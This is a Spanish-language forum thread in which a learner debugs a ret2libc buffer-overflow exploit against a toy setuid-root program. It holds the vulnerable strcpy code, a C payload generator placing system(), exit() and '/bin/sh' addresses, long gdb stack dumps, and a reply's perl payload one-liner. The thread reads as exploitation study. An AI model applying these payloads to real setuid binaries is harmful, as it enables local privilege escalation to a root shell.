Esta vez duda usando libc

Iniciado por pianista, 21 Enero 2012, 00:08 AM

0 Miembros y 2 Visitantes están viendo este tema.

pianista

Hola de nuevo compañeros, de nuevo tengo un problemilla.

Vayamos por partes que diría jack el destripador:

Tengo un programa que por poner un ejemplo se está ejecutando con el sticky bit y es propiedad de root y tiene una vulnerabilidad:
int main(int argc, char *argv[])
{
   char little_array[512];

   if(argc > 1)
     strcpy(little_array,argv[1]);

}


Y empleo el siguiente programa para generarme en una variable de entorno el buffer con el que explotar la vulnerabilidad:
#include <stdlib.h>
#include<stdio.h>

#define offset_size                    0
#define buffer_size                    600

char sc[] =
  "\x80\x0d\xed\xb7" //system()
  "\xf0\x68\xec\xb7" //exit()
  "\xbe\xc7\xfb\xb7" //binsh
;

unsigned long find_start(void) {
   __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=offset_size, bsize=buffer_size;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
             printf("Can't allocate memory.\n");
                     exit(0);
                       }


  addr = find_start() - offset;
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
     *(addr_ptr++) = addr;
  ptr += 4;

  for (i = 0; i < strlen(sc); i++)
          *(ptr++) = sc[i];

  buff[bsize - 1] = '\0';

  memcpy(buff,"BUF=",4);
  putenv(buff);
  system("/bin/bash");
}


Vale, entonces la idea es en una máquina en la que no tuviera una pila ejecutable, enviar el flujo a libc ejecutando una shell, para ello según el libro insertamos este cacho:

char sc[] =
  "\x80\x0d\xed\xb7" //system()
  "\xf0\x68\xec\xb7" //exit()
  "\xbe\xc7\xfb\xb7" //binsh


Donde serían las diferentes direcciones de esas llamadas (las he sacado mediante gdb como usa el libro y la de /bin/sh la he sacado con el memfetch como indica también, todo eso es correcto.

La cuestión es que soy incapaz de lograr modificar el retorno y eso que cuando probé con el método de meter NOPs a saco si que lo conseguí.

Los pasos que he realizado son los siguientes:
Generaba por ejemplo $BUF con ./ret2libc 590

Y luego con gdb paraba la ejecución antes de realizar el strcpy y en el ret:
Os dejo todos los desensamblados y más o menos los pasos que he seguido a ver en qué me estoy colando

pianista@pianista-desktop:~ $ gdb -q victim
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x08048374 <main+0>:    push   %ebp
0x08048375 <main+1>:    mov    %esp,%ebp
0x08048377 <main+3>:    sub    $0x218,%esp
0x0804837d <main+9>:    and    $0xfffffff0,%esp
0x08048380 <main+12>:   mov    $0x0,%eax
0x08048385 <main+17>:   sub    %eax,%esp
0x08048387 <main+19>:   cmpl   $0x1,0x8(%ebp)
0x0804838b <main+23>:   jle    0x80483a7 <main+51>
0x0804838d <main+25>:   mov    0xc(%ebp),%eax
0x08048390 <main+28>:   add    $0x4,%eax
0x08048393 <main+31>:   mov    (%eax),%eax
0x08048395 <main+33>:   mov    %eax,0x4(%esp)
0x08048399 <main+37>:   lea    0xfffffdf8(%ebp),%eax
0x0804839f <main+43>:   mov    %eax,(%esp)
0x080483a2 <main+46>:   call   0x80482a0 <strcpy@plt>
0x080483a7 <main+51>:   leave 
0x080483a8 <main+52>:   ret   
End of assembler dump.
(gdb) b *0x080483a2
Breakpoint 1 at 0x80483a2
(gdb) r $BUF
Starting program: /home/pianista/victim $BUF

Breakpoint 1, 0x080483a2 in main ()
(gdb) disas strcpy
Dump of assembler code for function strcpy:
0xb7f076f0 <strcpy+0>:  push   %ebp
0xb7f076f1 <strcpy+1>:  mov    %esp,%ebp
0xb7f076f3 <strcpy+3>:  push   %esi
0xb7f076f4 <strcpy+4>:  mov    0x8(%ebp),%esi
0xb7f076f7 <strcpy+7>:  mov    0xc(%ebp),%eax
0xb7f076fa <strcpy+10>: mov    %esi,%ecx
0xb7f076fc <strcpy+12>: sub    %eax,%ecx
0xb7f076fe <strcpy+14>: mov    %eax,%edx
0xb7f07700 <strcpy+16>: movzbl (%edx),%eax
0xb7f07703 <strcpy+19>: mov    %al,(%edx,%ecx,1)
0xb7f07706 <strcpy+22>: add    $0x1,%edx
0xb7f07709 <strcpy+25>: test   %al,%al
0xb7f0770b <strcpy+27>: jne    0xb7f07700 <strcpy+16>
0xb7f0770d <strcpy+29>: mov    %esi,%eax
0xb7f0770f <strcpy+31>: pop    %esi
0xb7f07710 <strcpy+32>: pop    %ebp
0xb7f07711 <strcpy+33>: ret   
End of assembler dump.
(gdb) b *0xb7f076f0
Breakpoint 2 at 0xb7f076f0
(gdb) b *0xb7f07711
Breakpoint 3 at 0xb7f07711
(gdb) continue
Continuing.

Breakpoint 2, 0xb7f076f0 in strcpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/20x $esp
0xbffff16c:     0x080483a7      0xbffff180      0xbffff565      0x00000000
0xbffff17c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff18c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff19c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff1ac:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb) continue
Continuing.

Breakpoint 3, 0xb7f07711 in strcpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/20x $esp
0xbffff16c:     0x080483a7      0xbffff180      0xbffff565      0x00000000
0xbffff17c:     0x00000000      0xb7ed0d80      0xb7ec68f0      0xb7fbc7be
0xbffff18c:     0xbffff838      0xbffff838      0xbffff838      0xbffff838
0xbffff19c:     0xbffff838      0xbffff838      0xbffff838      0xbffff838
0xbffff1ac:     0xbffff838      0xbffff838      0xbffff838      0xbffff838
(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff83f in ?? ()
(gdb) x/20x $esp
0xbffff38c:     0xc7beb7ec      0xbffff838      0xbffff838      0xbffff838
0xbffff39c:     0xbffff838      0xbffff838      0xbffff838      0xbffff838
0xbffff3ac:     0xbffff838      0xbffff838      0xbffff838      0xbffff838
0xbffff3bc:     0xbffff838      0xbffff838      0xbffff838      0xbffff838
0xbffff3cc:     0x0000f838      0x00000000      0xb7ff9300      0xb7eafded
(gdb) r $BUF
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/pianista/victim $BUF

Breakpoint 1, 0x080483a2 in main ()
(gdb) continue
Continuing.

Breakpoint 2, 0xb7f076f0 in strcpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/20x $esp
0xbffff16c:     0x080483a7      0xbffff180      0xbffff565      0x00000000
0xbffff17c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff18c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff19c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff1ac:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb) x/700x $esp
0xbffff16c:     0x080483a7      0xbffff180      0xbffff565      0x00000000
0xbffff17c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff18c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff19c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff1ac:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff1bc:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff1cc:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff1dc:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff1ec:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff1fc:     0x00000000      0x0804820c      0x0d696910      0xb7ea5fa8
0xbffff20c:     0xbffff244      0xb7fefb79      0xb7eabcd4      0x08048202
0xbffff21c:     0xb80019b9      0xb80019ac      0xb7fe6b38      0xbfff0002
0xbffff22c:     0xb7ff4c69      0x080481d0      0xb80019b8      0xb8000ff4
0xbffff23c:     0xb7fe6b0c      0x00000001      0xbffff2c8      0xb7feff42
0xbffff24c:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff25c:     0x00000123      0x0003d8f5      0xbffff294      0xbffff294
0xbffff26c:     0xbffff384      0xf63d4e2e      0xb7fe6858      0x00000003
0xbffff27c:     0xb7e9dc28      0xb7e9da28      0x080481f0      0xf63d4e2e
0xbffff28c:     0x080481fc      0x080481f4      0x00000000      0x00000000
0xbffff29c:     0x00000001      0x00000838      0xb7fe6b38      0xb7fe6858
0xbffff2ac:     0x080481f0      0xb7ea67a8      0x08048190      0x00000001
0xbffff2bc:     0xb8000ff4      0xb8001898      0xbffff378      0xbffff394
0xbffff2cc:     0xb7ff0103      0x08048190      0xbffff378      0xb800183c
---Type <return> to continue, or q <return> to quit---q
Quit


Perdón por la chapa, es que he probado con diferentes - 600,590,595 y logro algún ilegal instrucion pero nada soy incapaz, y es que creo que no estoy acabándolo de pillar del todo.

Saludos y gracias.



AlbertoBSD

Ya que obtienes un Ilegal Instruccion es por que ya estas controlando el EIP, depuralo paso por paso para vee que valores estan tomando los registros
Donaciones
1Coffee1jV4gB5gaXfHgSHDz9xx9QSECVW

pianista

Ya, si a esa conclusión había llegado porque a veces obtengo segmentation fault y otras illegal instruction, pero dios, es que he probado todos los números habidos y por haber y no doy con él xD

A ver si me centro y me entero más de cómo depurar...

De todas maneras, un triple que me lanzo, esos números dado que la palabra son 32bits, deberían ser múltiplos de 4, no???

Saludos

pianista

Vale veamos, he depurado y hay una cosa que no acabo de comprender.

Veamos, yo desensamblo strcpy cuando estoy depurando y me sale:

Dump of assembler code for function strcpy:
0xb7f076f0 <strcpy+0>:  push   %ebp
0xb7f076f1 <strcpy+1>:  mov    %esp,%ebp
0xb7f076f3 <strcpy+3>:  push   %esi
0xb7f076f4 <strcpy+4>:  mov    0x8(%ebp),%esi
0xb7f076f7 <strcpy+7>:  mov    0xc(%ebp),%eax
0xb7f076fa <strcpy+10>: mov    %esi,%ecx
0xb7f076fc <strcpy+12>: sub    %eax,%ecx
0xb7f076fe <strcpy+14>: mov    %eax,%edx
0xb7f07700 <strcpy+16>: movzbl (%edx),%eax
0xb7f07703 <strcpy+19>: mov    %al,(%edx,%ecx,1)
0xb7f07706 <strcpy+22>: add    $0x1,%edx
0xb7f07709 <strcpy+25>: test   %al,%al
0xb7f0770b <strcpy+27>: jne    0xb7f07700 <strcpy+16>
0xb7f0770d <strcpy+29>: mov    %esi,%eax
0xb7f0770f <strcpy+31>: pop    %esi
0xb7f07710 <strcpy+32>: pop    %ebp
0xb7f07711 <strcpy+33>: ret   


Por ello decido poner dos puntos de interrupción, uno a la entrada de la función después de haber movido el ebp y tal y otro en el retorno para ver si logro escribir la dirección:
es decir en: 0xb7f076f4 y en 0xb7f07711

Antes de realizar ningun copiado tengo esto en la pila:

Breakpoint 2, 0xb7f076f4 in strcpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/20x $esp
0xbffff144:     0xb8000ce0      0xbffff368      0x080483a7      0xbffff160
0xbffff154:     0xbffff53e      0x00000000      0x00000000      0x00000000
0xbffff164:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff174:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffff184:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb) continue
Continuing.


Donde 0x080483a7 es la siguiente instrucción en el main:

0x080483a2 <main+46>:   call   0x80482a0 <strcpy@plt>
0x080483a7 <main+51>:   leave 


Pues bien aquí es donde no acabo de pillarlo y es, yo ejecuto ret2libc con los parámetros 600 y por ejemplo 604 y resulta que la pila se rellena hasta el mismo lugar:

Breakpoint 3, 0xb7f07711 in strcpy () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/20x 0xbffff144
0xbffff144:     0xb8000ce0      0xbffff368      0x080483a7      0xbffff160
0xbffff154:     0xbffff53e      0x00000000      0x00000000      0xb7ed0d80
0xbffff164:     0xb7ec68f0      0xb7fbc7be      0xbffff818      0xbffff818
0xbffff174:     0xbffff818      0xbffff818      0xbffff818      0xbffff818
0xbffff184:     0xbffff818      0xbffff818      0xbffff818      0xbffff818


Ahí se ve como me quedo a 5 posiciones de escribir en el retorno, pero siempre me quedo a esas 5 con 600 y con 604, etc. Sin embargo con menos posiciones no llego, cual es el problema? Hago algo mal?Quizás es ret2libc el que es incorrecto?

Saludos

pianista

#4
Bien, he estado meditando y creo que me he colado.

Claro, yo no tengo que intentar escribir el :
0x080483a7

Que aparece en mi depuración, puesto que eso es la dirección que ha metido en la pila la función strcpy para saber a donde tiene que volver, correcto??

Saludos

Ivanchuk

Hola pianista,

Cita de: pianista en 21 Enero 2012, 15:30 PM
Claro, yo no tengo que intentar escribir el :
0x080483a7
Eso eso, el ret de strcpy __no vas a poder sobrescribirlo__, el que tenes que buscar es el del main. strcpy te va a servir para sobreescribir el ret de main.

Si miras el call stack te vas a dar cuenta (dirs crecientes de arriba para abajo):

* variables locales de strcpy()
* ret strcpy (call strcpy)
* variables locales (little_array[512])
* ret main (call main)

Como ves, cuando queres hacer un bof de little_array lo que logras sobreescribir es el ret main puesto que vas hacia direccions crecientes. El ret de strcpy te es inaccesible.

Cita de: pianista en 21 Enero 2012, 15:30 PM
Que aparece en mi depuración, puesto que eso es la dirección que ha metido en la pila la función strcpy para saber a donde tiene que volver, correcto??
Si. Mete un breakpoint a la vuelta de strcpy y justo antes del ret de main para ver si sobreescribiste bien las cosas.

Saludos!
Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org

pianista

Tienes toda la razón. Pues muchas gracias por el consejo, ahora cuando tenga un ratejo o mañana, le echo un ojo ;)

Saludos y gracias!

pianista

Acabo de repensarlo y si pudieras fijarte en las direcciones, creo que realmente estaba tratando de escribir la dirección correcta, no?, que es: 0x080483a7

Saludos

Ivanchuk

#8
Cita de: pianista en  9 Febrero 2012, 22:48 PM
Acabo de repensarlo y si pudieras fijarte en las direcciones, creo que realmente estaba tratando de escribir la dirección correcta, no?, que es: 0x080483a7

Esa direccion es codigo ejecutable y no la vas a poder escribir, es justo donde esta el call strcpy en main. EDIT: Al mejor te referias a ese valor en el stack?

Arranca de a poco sino. El que te arma el egg dejalo de lado, usa perl por el momento.

Código (bash) [Seleccionar]
$./vuln `perl -e 'print "A" x 512 . "\xSY\xST\xEM\xAD" x 10;'`

512 para llenar bien little_array, y despues 10 veces la dir de system() para asegurarse que eip la tome bien (tenes ebp antes y despues deberia venir eip). Despues si queres fijate bien el offset para hitear justo eip.

Probalo en gdb primero
Código (bash) [Seleccionar]
$gdb --args ./vuln `perl -e 'print "A" x 512 . "\xSY\xST\xEM\xAD" x 10;'`

break en el ret de main
Código (bash) [Seleccionar]
b *0x080483a8

print del stack
Código (bash) [Seleccionar]
x/64x $esp

Ahi te deberia aparecer la direccion de system que pusiste repetida 10 veces. El primer valor es el que va a tomar eip para el ret.

Intenta todo esto y decime como te fue.

Sino, hay varios detalles antes de poder explotar bien el codigo que pusiste.
1- Como sacaste la direccion de system() ?
2- La direccion de /bin/sh puede variar segun lo ejecutes en gdb o solo.

Saludos
Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org

pianista

Correcto

He metido por ejemplo como dirección 60606060 y me salta esa dirección en EIP y me queda también en la pila.

La dirección de sh la saqué por memfetch como puse arriba, usándolo en un programa de C que lo invocaba y esperaba X segundos antes para darte tiempo a usar memfetch.

Y las otras las saqué mediante gdb.

Saludos y gracias.